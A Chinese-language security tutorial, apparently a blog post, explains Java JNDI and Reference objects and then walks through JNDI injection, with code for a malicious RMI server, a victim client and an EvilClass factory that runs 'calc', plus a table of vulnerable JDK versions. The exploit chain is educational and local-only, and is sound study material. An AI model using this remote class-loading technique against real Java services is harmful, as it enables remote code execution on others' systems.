【java安全】JNDI注入概述

文章目录

【java安全】JNDI注入概述

什么是JNDI?

JNDI(Java Naming and Directory Interface)Java提供的Java命名和目录接口。通过调用JNDIAPI可以定位资源和其他程序对象。

命名服务将名称和对象联系起来,使得我们可以用名称访问对象

JDNI的结构

jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等

其实就可以理解为下面这些服务的一个客户端:

有这么几个关键元素

  • Name,要在命名系统中查找对象,请为其提供对象的名称
  • Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
  • Context,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
  • References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针

这些命名/目录服务提供者:

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

java 复制代码
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

InitialContext - 上下文

构造方法:

java 复制代码
//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

常用方法:

java 复制代码
//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)  

示例:

java 复制代码
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
      	// 构建初始上下文
        InitialContext initialContext = new InitialContext();
      	// 查询命名对象
        String uri = "rmi://127.0.0.1:1099/work";
        initialContext.lookup(uri);
    }
}

Reference - 引用

Reference类表示对存在于命名/目录系统以外的对象的引用 ,具体则是指如果远程获取RMI服务器上的对象为Reference类或者其子类时,则可以从其他服务器上加载class字节码文件来实例化。

构造方法:

java 复制代码
//为类名为"className"的对象构造一个新的引用。
Reference(String className) 
//为类名为"className"的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为"className"的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为"className"的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

java 复制代码
//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr) 
//将地址添加到地址列表的末尾。 
void add(RefAddr addr) 
//从此引用中删除所有地址。  
void clear() 
//检索索引posn上的地址。 
RefAddr get(int posn) 
//检索地址类型为"addrType"的第一个地址。  
RefAddr get(String addrType) 
//检索本参考文献中地址的列举。 
Enumeration<RefAddr> getAll() 
//检索引用引用的对象的类名。 
String getClassName() 
//检索此引用引用的对象的工厂位置。  
String getFactoryClassLocation() 
//检索此引用引用对象的工厂的类名。  
String getFactoryClassName() 
//从地址列表中删除索引posn上的地址。    
Object remove(int posn) 
//检索此引用中的地址数。 
int size() 
//生成此引用的字符串表示形式。
String toString() 

示例:

java 复制代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);
    }
}

这里创建完Reference后又调用了ReferenceWrapper将其传进去了,为什么这么做呢?

因为我们前面学习RMI的时候,将类注册到Registry使用的类必须继承UnicastRemoteObject类以及实现Remote接口

但是我们这里Reference没有满足,所以需要使用ReferenceWrapper将其封装一下

java 复制代码
public class Reference implements Cloneable, java.io.Serializable
...
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference 

JNDI注入

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

JNDI注入的过程如下:

  • 客户端程序调用了InitialContext.lookup(url)并且url可以被输入控制,指向精心构造好的RMI服务地址
  • 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
  • 当客户端执行lookup时,客户端会获取相应的object factory,通过factory.getObjectInstance()获取外部远程对象的实例
  • 攻击者在Factory类文件的构造方法,静态代码块,getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果
  • 既然要用到Factory,那么恶意类需要实现ObjectFactory接口

具体攻击流程图:

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u211以下 7u201以下 8u191以下 11.0.1以下
RMI 6u132以下 7u122以下 8u113以下

JNDI & RMI

利用版本:

JDK 6u1327u1228u113之前可以

JNDI注入使用Reference

首先搭建一个服务端:RMIServer

服务端的创建,按步骤来

  • 首先是注册中心
  • 然后是恶意类所在地址
  • 接着是创建Reference对象引用,绑定恶意类的地址
  • 绑定Name
java 复制代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        String url = "http://127.0.0.1:1098/";
        Reference reference = new Reference("EvilClass", "EvilClass", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("class",referenceWrapper);
    }
}

然后搭建一个客户端RMIClient(客户端也是受害端):

java 复制代码
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        String url = "rmi://127.0.0.1:1099/class";
        context.lookup(url);
    }
}

然后需要创建一个恶意类:

实现ObjectFactory接口,把恶意代码写在getObjectInstance里面

java 复制代码
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    static {
        System.out.println("hello,static~");
    }
    public EvilClass() throws IOException {
        System.out.println("constructor~");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("calc");
        System.out.println("hello,getObjectInstance~");
        return null;
    }
}

搭建好了以后我们首先运行服务端:(注意jdk版本)

然后我们将EvilClass编译一下,使用python开启一个http服务:

接着我们运行客户端RMIClient:

我们发现已经成功执行代码了,并且是在客户端执行的

可以参考这张思维导图:

相关推荐
天天扭码17 分钟前
五天SpringCloud计划——DAY2之单体架构和微服务架构的选择和转换原则
java·spring cloud·微服务·架构
程序猿进阶18 分钟前
堆外内存泄露排查经历
java·jvm·后端·面试·性能优化·oom·内存泄露
FIN技术铺22 分钟前
Spring Boot框架Starter组件整理
java·spring boot·后端
小曲程序30 分钟前
vue3 封装request请求
java·前端·typescript·vue
陈王卜1 小时前
django+boostrap实现发布博客权限控制
java·前端·django
小码的头发丝、1 小时前
Spring Boot 注解
java·spring boot
java亮小白19971 小时前
Spring循环依赖如何解决的?
java·后端·spring
飞滕人生TYF1 小时前
java Queue 详解
java·队列
武子康1 小时前
大数据-230 离线数仓 - ODS层的构建 Hive处理 UDF 与 SerDe 处理 与 当前总结
java·大数据·数据仓库·hive·hadoop·sql·hdfs
武子康1 小时前
大数据-231 离线数仓 - DWS 层、ADS 层的创建 Hive 执行脚本
java·大数据·数据仓库·hive·hadoop·mysql